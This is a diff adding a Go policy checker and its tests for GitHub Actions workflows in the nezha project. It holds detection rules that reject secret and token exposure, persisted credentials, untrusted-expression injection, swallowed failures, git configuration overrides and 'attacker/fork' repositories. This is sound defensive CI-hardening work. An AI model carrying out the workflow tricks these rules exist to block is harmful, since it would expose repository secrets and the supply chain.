case "actions/setup-go":
|
||||
c.checkRequiredCacheDisabled(path, step)
|
||||
case "actions/upload-artifact":
|
||||
c.checkArtifactUpload(path, step, state.redactionComplete)
|
||||
}
|
||||
c.checkCacheInputs(path, step)
|
||||
}
|
||||
|
||||
func approvedAction(action string) (string, string, bool) {
|
||||
repository, ref, found := strings.Cut(strings.ToLower(action), "@")
|
||||
if !found {
|
||||
return repository, "", false
|
||||
}
|
||||
approvedRefs := map[string]string{
|
||||
"actions/checkout": "9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0",
|
||||
"actions/setup-go": "924ae3a1cded613372ab5595356fb5720e22ba16",
|
||||
"actions/upload-artifact": "b7c566a772e6b6bfb58ed0dc250532a479d7789f",
|
||||
}
|
||||
approvedRef, approved := approvedRefs[repository]
|
||||
if !approved {
|
||||
return "", ref, false
|
||||
}
|
||||
return repository, ref, ref == approvedRef
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestPolicy_RejectsSelfHostedRunner(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMatrixSelfHostedRunner(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("matrix-self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsCustomRunnerLabel(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMatrixIncludeRunner(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("matrix-include-runner.yml", workflowpolicy.RuleSelfHostedRunner, "include"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsComposedCustomRunnerLabel(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("composed-custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsDockerExecution(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("docker.yml", workflowpolicy.RuleContainerizedExecution, "docker"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsAbsoluteDockerExecution(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsAlternateAbsoluteDockerExecution(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("alternate-absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsJobContainer(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("container.yml", workflowpolicy.RuleContainerizedExecution, "container"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsServiceContainers(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("services.yml", workflowpolicy.RuleContainerizedExecution, "services"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsCacheReuse(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("cache.yml", workflowpolicy.RuleReusableExecutable, "cache"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsSetupGoDefaultCache(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("setup-go-default-cache.yml", workflowpolicy.RuleReusableExecutable, "cache: false"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsArtifactExecutableReuse(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("download-artifact.yml", workflowpolicy.RuleReusableExecutable, "artifact reuse"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsWorkspaceExecutableReuse(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("workspace-executable.yml", workflowpolicy.RuleReusableExecutable, "workspace"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsLocalActionReuse(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("local-action.yml", workflowpolicy.RuleReusableExecutable, "local action"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsUnapprovedAction(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("unapproved-action.yml", workflowpolicy.RuleRepositoryNotAllowed, "action"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMutableActionRef(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("mutable-action-ref.yml", workflowpolicy.RuleOtherRepositoryRef, "approved immutable SHA"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsReusableWorkflowJob(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("reusable-workflow-job.yml", workflowpolicy.RuleReusableExecutable, "reusable workflow"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsContinueOnError(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("continue-on-error.yml", workflowpolicy.RuleContinueOnError, "continue-on-error"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsSwallowedShellFailure(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("swallowed-failure.yml", workflowpolicy.RuleSwallowedFailure, "|| true"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsAlternativeSwallowedShellFailures(t *testing.T) {
|
||||
for _, fixture := range []string{"or-echo-failure.yml", "or-printf-failure.yml", "or-exit-zero-failure.yml", "set-plus-o-errexit.yml", "set-plus-e-semicolon.yml", "if-not-failure.yml", "if-condition-failure.yml", "and-if-condition-failure.yml", "nested-shell.yml"} {
|
||||
t.Run(fixture, func(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSwallowedFailure, "failure"))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMissingJobTimeout(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("missing-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "timeout-minutes"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMissingConcurrency(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("missing-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsEmptyConcurrency(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("empty-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsArtifactWithoutRedaction(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("artifact-without-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsUnredactedArtifactPath(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("unredacted-artifact-path.yml", workflowpolicy.RuleArtifactRedaction, "redacted"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNoOpRedactionStep(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("no-op-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsConditionalRedaction(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("conditional-redaction.yml", workflowpolicy.RuleArtifactRedaction, "always()"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsRawWriteAfterRedaction(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("raw-after-redaction.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsCommandsAppendedToRedaction(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("redaction-command-append.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsUntrustedRunExpression(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("untrusted-run-expression.yml", workflowpolicy.RuleUntrustedExpression, "pull_request.title"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsDynamicGitRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("dynamic-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsUnapprovedGitRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("unapproved-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsEnvironmentGitRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("environment-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsExternalGitRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("external-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsPrefixedGitRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("prefixed-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsGitGlobalOptionRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("git-global-option-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsCommandOptionGitRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("command-option-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsGitConfigurationEnvironment(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("git-config-environment.yml", workflowpolicy.RuleRepositoryNotLiteral, "GIT_CONFIG_COUNT"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsGitHubEnvironmentConfiguration(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("github-environment-git-config.yml", workflowpolicy.RuleRepositoryNotLiteral, "GITHUB_ENV"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsIndexedUntrustedExpression(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github['event']"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsDynamicIndexedUntrustedExpression(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("dynamic-indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github["))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonliteralAction(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("nonliteral-action.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMixedArtifactPaths(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("mixed-artifact-paths.yml", workflowpolicy.RuleArtifactRedaction, "redacted"))
|
||||
}
|
||||
|
||||
func TestPolicy_VerifyFileUsesFreshContents(t *testing.T) {
|
||||
// Given
|
||||
temporaryDirectory := t.TempDir()
|
||||
workflowPath := filepath.Join(temporaryDirectory, "workflow.yml")
|
||||
secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml"))
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, os.WriteFile(workflowPath, secureWorkflow, 0o600))
|
||||
require.NoError(t, workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha))
|
||||
maliciousWorkflow, err := os.ReadFile(fixturePath(t, "continue-on-error.yml"))
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, os.WriteFile(workflowPath, maliciousWorkflow, 0o600))
|
||||
|
||||
// When
|
||||
err = workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
requireTypedPolicyError(t, err, workflowpolicy.RuleContinueOnError)
|
||||
}
|
||||
|
||||
func TestPolicy_TempWorkflowsReportExactDiagnostics(t *testing.T) {
|
||||
// Given
|
||||
temporaryDirectory := t.TempDir()
|
||||
securePath := filepath.Join(temporaryDirectory, "secure.yml")
|
||||
maliciousPath := filepath.Join(temporaryDirectory, "malicious.yml")
|
||||
secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml"))
|
||||
require.NoError(t, err)
|
||||
maliciousWorkflow, err := os.ReadFile(fixturePath(t, "persist-credentials-true.yml"))
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, os.WriteFile(securePath, secureWorkflow, 0o600))
|
||||
require.NoError(t, os.WriteFile(maliciousPath, maliciousWorkflow, 0o600))
|
||||
|
||||
// When
|
||||
secureError := workflowpolicy.VerifyFile(securePath, workflowpolicy.RepositoryNezha)
|
||||
maliciousError := workflowpolicy.VerifyFile(maliciousPath, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
require.NoError(t, secureError)
|
||||
requireTypedPolicyError(t, maliciousError, workflowpolicy.RulePersistCredentials)
|
||||
t.Logf("secure workflow: PASS")
|
||||
t.Logf("malicious workflow: %v", maliciousError)
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func mappingValue(mapping *yaml.Node, key string) (*yaml.Node, bool) {
|
||||
if mapping == nil || mapping.Kind != yaml.MappingNode {
|
||||
return nil, false
|
||||
}
|
||||
for index := 0; index < len(mapping.Content); index += 2 {
|
||||
if mapping.Content[index].Value == key {
|
||||
return mapping.Content[index+1], true
|
||||
}
|
||||
}
|
||||
return nil, false
|
||||
}
|
||||
|
||||
func mappingEntries(mapping *yaml.Node) [][2]*yaml.Node {
|
||||
if mapping == nil || mapping.Kind != yaml.MappingNode {
|
||||
return nil
|
||||
}
|
||||
entries := make([][2]*yaml.Node, 0, len(mapping.Content)/2)
|
||||
for index := 0; index < len(mapping.Content); index += 2 {
|
||||
entries = append(entries, [2]*yaml.Node{mapping.Content[index], mapping.Content[index+1]})
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func scalarString(node *yaml.Node) (string, bool) {
|
||||
if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!str" {
|
||||
return "", false
|
||||
}
|
||||
return node.Value, true
|
||||
}
|
||||
|
||||
func explicitFalse(node *yaml.Node) bool {
|
||||
if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!bool" {
|
||||
return false
|
||||
}
|
||||
return strings.EqualFold(strings.TrimSpace(node.Value), "false")
|
||||
}
|
||||
|
||||
func positiveInteger(node *yaml.Node) bool {
|
||||
if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!int" {
|
||||
return false
|
||||
}
|
||||
value, err := strconv.Atoi(node.Value)
|
||||
return err == nil && value > 0
|
||||
}
|
||||
|
||||
func walkScalars(node *yaml.Node, visit func(*yaml.Node)) {
|
||||
if node.Kind == yaml.ScalarNode {
|
||||
visit(node)
|
||||
}
|
||||
for _, child := range node.Content {
|
||||
walkScalars(child, visit)
|
||||
}
|
||||
}
|
||||
|
||||
func walkMappings(node *yaml.Node, visit func(*yaml.Node)) {
|
||||
if node.Kind == yaml.MappingNode {
|
||||
visit(node)
|
||||
}
|
||||
for _, child := range node.Content {
|
||||
walkMappings(child, visit)
|
||||
}
|
||||
}
|
||||
|
||||
func containsScalar(node *yaml.Node, expected string) bool {
|
||||
found := false
|
||||
walkScalars(node, func(scalar *yaml.Node) {
|
||||
if scalar.Value == expected {
|
||||
found = true
|
||||
}
|
||||
})
|
||||
return found
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
package workflowpolicy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func parseWorkflow(source string, data []byte) (*yaml.Node, error) {
|
||||
decoder := yaml.NewDecoder(bytes.NewReader(data))
|
||||
var document yaml.Node
|
||||
if err := decoder.Decode(&document); err != nil {
|
||||
return nil, &ParseError{Source: source, Cause: err}
|
||||
}
|
||||
if len(document.Content) != 1 || document.Content[0].Kind != yaml.MappingNode {
|
||||
return nil, &ParseError{Source: source, Cause: errors.New("workflow root must be a mapping")}
|
||||
}
|
||||
if err := validateYAMLNode(document.Content[0]); err != nil {
|
||||
return nil, &ParseError{Source: source, Cause: err}
|
||||
}
|
||||
|
||||
var trailing yaml.Node
|
||||
err := decoder.Decode(&trailing)
|
||||
if err == nil && len(trailing.Content) > 0 {
|
||||
return nil, &ParseError{Source: source, Cause: errors.New("multiple YAML documents are not allowed")}
|
||||
}
|
||||
if err != nil && !errors.Is(err, io.EOF) {
|
||||
return nil, &ParseError{Source: source, Cause: err}
|
||||
}
|
||||
return document.Content[0], nil
|
||||
}
|
||||
|
||||
func validateYAMLNode(node *yaml.Node) error {
|
||||
if node.Kind == yaml.AliasNode {
|
||||
return fmt.Errorf("YAML aliases are not allowed at line %d", node.Line)
|
||||
}
|
||||
if node.Anchor != "" {
|
||||
return fmt.Errorf("YAML aliases are not allowed; YAML anchors are not allowed at line %d", node.Line)
|
||||
}
|
||||
if node.Kind == yaml.MappingNode {
|
||||
seen := make(map[string]struct{}, len(node.Content)/2)
|
||||
for index := 0; index < len(node.Content); index += 2 {
|
||||
key := node.Content[index]
|
||||
identity := key.Tag + "\x00" + key.Value
|
||||
if _, exists := seen[identity]; exists {
|
||||
return fmt.Errorf("duplicate key %q at line %d", key.Value, key.Line)
|
||||
}
|
||||
seen[identity] = struct{}{}
|
||||
}
|
||||
}
|
||||
for _, child := range node.Content {
|
||||
if err := validateYAMLNode(child); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,296 @@
|
||||
package workflowpolicy_test
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy"
|
||||
"github.com/stretchr/testify/require"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func TestPolicy_AcceptsSecureNezhaWorkflow(t *testing.T) {
|
||||
// Given
|
||||
path := fixturePath(t, "secure-nezha.yml")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
require.NoError(t, err)
|
||||
}
|
||||
|
||||
func TestPolicy_AcceptsSecureAgentWorkflow(t *testing.T) {
|
||||
// Given
|
||||
path := fixturePath(t, "secure-agent.yml")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryAgent)
|
||||
|
||||
// Then
|
||||
require.NoError(t, err)
|
||||
}
|
||||
|
||||
func TestPolicy_AcceptsValidatedResolvedOtherRepositoryRef(t *testing.T) {
|
||||
// Given
|
||||
path := fixturePath(t, "secure-resolved-ref.yml")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
require.NoError(t, err)
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsPullRequestTarget(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("pull-request-target.yml", workflowpolicy.RulePrivilegedTrigger, "pull_request_target"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsPrivilegedWorkflowRun(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("workflow-run.yml", workflowpolicy.RulePrivilegedTrigger, "workflow_run"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsSecretContext(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("secret-context.yml", workflowpolicy.RuleSecretContext, "secrets"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsAggregateSecretContext(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("aggregate-secret-context.yml", workflowpolicy.RuleSecretContext, "secrets"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsWritePermission(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("write-permission.yml", workflowpolicy.RuleWritePermission, "contents"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsIDTokenPermission(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("id-token-write.yml", workflowpolicy.RuleWritePermission, "id-token"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMissingRootPermissions(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("missing-root-permissions.yml", workflowpolicy.RuleWritePermission, "root permissions"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsPermissionsSequence(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("permissions-sequence.yml", workflowpolicy.RuleWritePermission, "mapping"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsQuotedFalsePersistCredentials(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("quoted-false-security-controls.yml", workflowpolicy.RulePersistCredentials, "boolean"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsFractionalTimeout(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("numeric-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "positive literal"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonScalarPermissionValue(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("mapping-permission-value.yml", workflowpolicy.RuleWritePermission, "read or none"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonMappingUsesStep(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("nonmapping-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonStringUsesReference(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("boolean-uses.yml", workflowpolicy.RuleWorkflowStructure, "string action reference"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMutableRepositoryInput(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("unapproved-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonliteralRepository(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("nonliteral-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMutableOtherRepositoryRef(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("mutable-other-repository-ref.yml", workflowpolicy.RuleOtherRepositoryRef, "40"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsUnvalidatedResolvedOtherRepositoryRef(t *testing.T) {
|
||||
assertFixtureRejected(t, rejectionExpectation{fixture: "unvalidated-resolved-ref.yml", repository: workflowpolicy.RepositoryNezha, rule: workflowpolicy.RuleOtherRepositoryRef, diagnostic: "validated resolver"})
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsResolverVariableOverride(t *testing.T) {
|
||||
assertFixtureRejected(t, rejectionExpectation{fixture: "resolver-variable-override.yml", repository: workflowpolicy.RepositoryNezha, rule: workflowpolicy.RuleOtherRepositoryRef, diagnostic: "validated resolver"})
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMissingPersistCredentialsFalse(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("missing-persist-credentials.yml", workflowpolicy.RulePersistCredentials, "persist-credentials"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsPersistCredentialsTrue(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("persist-credentials-true.yml", workflowpolicy.RulePersistCredentials, "false"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMalformedYAML(t *testing.T) {
|
||||
// Given
|
||||
path := fixturePath(t, "malformed.yml")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
var parseError *workflowpolicy.ParseError
|
||||
require.ErrorAs(t, err, &parseError)
|
||||
require.Contains(t, err.Error(), "parse workflow")
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsDuplicateKeys(t *testing.T) {
|
||||
// Given
|
||||
path := fixturePath(t, "duplicate-jobs.yml")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
var parseError *workflowpolicy.ParseError
|
||||
require.ErrorAs(t, err, &parseError)
|
||||
require.Contains(t, err.Error(), "duplicate key")
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsYAMLAlias(t *testing.T) {
|
||||
// Given
|
||||
path := fixturePath(t, "yaml-alias.yml")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
var parseError *workflowpolicy.ParseError
|
||||
require.ErrorAs(t, err, &parseError)
|
||||
require.Contains(t, err.Error(), "aliases are not allowed")
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsTrailingEmptyYAMLDocument(t *testing.T) {
|
||||
assertFixtureParseRejected(t, "trailing-empty-document.yml", "multiple YAML documents")
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsBareYAMLAnchor(t *testing.T) {
|
||||
assertFixtureParseRejected(t, "bare-anchor.yml", "anchors are not allowed")
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMalformedStepValues(t *testing.T) {
|
||||
for _, fixture := range []string{"empty-step.yml", "empty-run.yml", "nonstring-run.yml", "empty-uses.yml"} {
|
||||
t.Run(fixture, func(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleWorkflowStructure, "step"))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsSecretTokenSources(t *testing.T) {
|
||||
for _, fixture := range []string{"github-token.yml", "github-token-environment.yml"} {
|
||||
t.Run(fixture, func(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSecretContext, "token"))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonBooleanConcurrencyCancellation(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("nonboolean-concurrency-cancel.yml", workflowpolicy.RuleMissingConcurrency, "boolean"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsMissingJobs(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("missing-jobs.yml", workflowpolicy.RuleWorkflowStructure, "nonempty mapping"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonmappingStep(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("nonmapping-step.yml", workflowpolicy.RuleWorkflowStructure, "step must be a mapping"))
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsNonsequenceSteps(t *testing.T) {
|
||||
assertFixtureRejected(t, rejected("nonsequence-steps.yml", workflowpolicy.RuleWorkflowStructure, "steps must be a sequence"))
|
||||
}
|
||||
|
||||
func TestPolicy_MissingFutureWorkflowReturnsTypedReadError(t *testing.T) {
|
||||
// Given
|
||||
path := filepath.Join(t.TempDir(), "agent-compatibility.yml")
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha)
|
||||
|
||||
// Then
|
||||
var readError *workflowpolicy.ReadError
|
||||
require.ErrorAs(t, err, &readError)
|
||||
require.ErrorIs(t, err, os.ErrNotExist)
|
||||
}
|
||||
|
||||
func TestPolicy_RejectsUnsupportedRepositoryBeforeWorkflowChecks(t *testing.T) {
|
||||
// Given
|
||||
data, err := os.ReadFile(fixturePath(t, "secure-nezha.yml"))
|
||||
require.NoError(t, err)
|
||||
|
||||
// When
|
||||
err = workflowpolicy.Verify(data, workflowpolicy.Repository("attacker/fork"))
|
||||
|
||||
// Then
|
||||
var policyError *workflowpolicy.PolicyError
|
||||
require.ErrorAs(t, err, &policyError)
|
||||
require.True(t, policyError.Has(workflowpolicy.RuleRepositoryNotAllowed))
|
||||
}
|
||||
|
||||
type rejectionExpectation struct {
|
||||
fixture string
|
||||
repository workflowpolicy.Repository
|
||||
rule workflowpolicy.Rule
|
||||
diagnostic string
|
||||
}
|
||||
|
||||
func rejected(fixture string, rule workflowpolicy.Rule, diagnostic string) rejectionExpectation {
|
||||
return rejectionExpectation{fixture: fixture, repository: workflowpolicy.RepositoryNezha, rule: rule, diagnostic: diagnostic}
|
||||
}
|
||||
|
||||
func assertFixtureRejected(t *testing.T, expectation rejectionExpectation) {
|
||||
t.Helper()
|
||||
|
||||
// Given
|
||||
path := fixturePath(t, expectation.fixture)
|
||||
|
||||
// When
|
||||
err := workflowpolicy.VerifyFile(path, expectation.repository)
|
||||
|
||||
// Then
|
||||
var policyError *workflowpolicy.PolicyError
|
||||
require.ErrorAs(t, err, &policyError)
|
||||
require.True(t, policyError.Has(expectation.rule), "diagnostic: %v", err)
|
||||
require.Contains(t, err.Error(), expectation.diagnostic)
|
||||
}
|
||||
|
||||
func assertFixtureParseRejected(t *testing.T, fixture string, diagnostic string) {
|
||||
t.Helper()
|
||||
err := workflowpolicy.VerifyFile(fixturePath(t, fixture), workflowpolicy.RepositoryNezha)
|
||||
var parseError *workflowpolicy.ParseError
|
||||
require.ErrorAs(t, err, &parseError)
|
||||
require.Contains(t, err.Error(), diagnostic)
|
||||
}
|
||||
|
||||
func fixturePath(t *testing.T, name string) string {
|
||||
t.Helper()
|
||||
return filepath.Join("testdata", name)
|
